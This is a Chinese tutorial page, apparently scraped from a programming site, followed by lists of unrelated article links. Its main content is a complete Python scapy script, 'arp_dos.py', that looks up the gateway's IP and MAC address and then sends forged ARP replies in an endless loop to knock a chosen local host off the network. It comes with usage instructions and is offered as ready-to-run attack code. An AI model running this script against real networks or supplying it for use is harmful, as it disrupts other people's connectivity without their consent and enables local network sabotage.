python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
编写Python脚本来获取mp3文件tag信息的教程
May 04 Python
Python使用os模块和fileinput模块来操作文件目录
Jan 19 Python
深入理解Python中的内置常量
May 20 Python
python通过socket实现多个连接并实现ssh功能详解
Nov 08 Python
Python深度优先算法生成迷宫
Jan 22 Python
在PyCharm中三步完成PyPy解释器的配置的方法
Oct 29 Python
Python地图绘制实操详解
Mar 04 Python
Python实现html转换为pdf报告(生成pdf报告)功能示例
May 04 Python
Python实现RGB与HSI颜色空间的互换方式
Nov 27 Python
通过python实现windows桌面截图代码实例
Jan 17 Python
PyTorch-GPU加速实例
Jun 23 Python
python入门:argparse浅析 nargs='+'作用
Jul 12 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
php file_put_contents()功能函数(集成了fopen、fwrite、fclose)
2011/05/24 PHP
PHP获取MSN好友列表类的实现代码
2013/06/23 PHP
Yii2使用小技巧之通过 Composer 添加 FontAwesome 字体资源
2014/06/22 PHP
PHP递归创建多级目录
2015/11/05 PHP
WordPress中查询文章的循环Loop结构及用法分析
2015/12/17 PHP
phalcon框架使用指南
2016/02/23 PHP
ThinkPHP实现登录退出功能
2017/06/29 PHP
PHP 模拟登陆功能实例详解
2019/09/10 PHP
laravel model 两表联查示例
2019/10/24 PHP
PHP发送邮件确认验证注册功能示例【修改别人邮件类】
2019/11/09 PHP
js限制文本框为整数和货币的函数代码
2010/10/13 Javascript
AngularJS初始化过程分析(引导程序)
2014/12/06 Javascript
Bootstrap Table使用方法解析
2016/10/19 Javascript
div实现自适应高度的textarea实现angular双向绑定
2017/01/08 Javascript
jQuery实现表格奇偶行显示不同背景色 就这么简单
2017/03/13 Javascript
vue.js指令v-model使用方法
2017/03/20 Javascript
利用 spin.js 生成等待效果(js 等待效果)
2017/06/25 Javascript
详解从新建vue项目到引入组件Element的方法
2017/08/29 Javascript
基于Vue.js 2.0实现百度搜索框效果
2020/12/28 Javascript
利用JS如何计算字符串所占字节数示例代码
2017/09/13 Javascript
jQuery实现的鼠标滚轮控制图片缩放功能实例
2017/10/14 jQuery
深入理解Vue 组件之间传值
2018/08/16 Javascript
Windows下支持自动更新的Electron应用脚手架的方法
2018/12/24 Javascript
10种JavaScript最常见的错误(小结)
2019/06/21 Javascript
JS实现移动端双指缩放和旋转方法
2019/12/13 Javascript
分享一款超好用的JavaScript 打包压缩工具
2020/04/26 Javascript
基于Django filter中用contains和icontains的区别(详解)
2017/12/12 Python
python中使用PIL制作并验证图片验证码
2018/03/15 Python
python绘制彩虹图
2019/12/16 Python
印度最大的网上花店:Ferns N Petals(鲜花、礼品和蛋糕)
2017/10/16 全球购物
乡镇庆八一活动方案
2014/02/02 职场文书
卫生院健康教育实施方案
2014/06/07 职场文书
公司年底活动方案
2014/08/17 职场文书
2015年办公室主任工作总结
2015/04/09 职场文书
2015年教务工作总结
2015/05/23 职场文书
处理canvas绘制图片模糊问题
2022/05/11 Javascript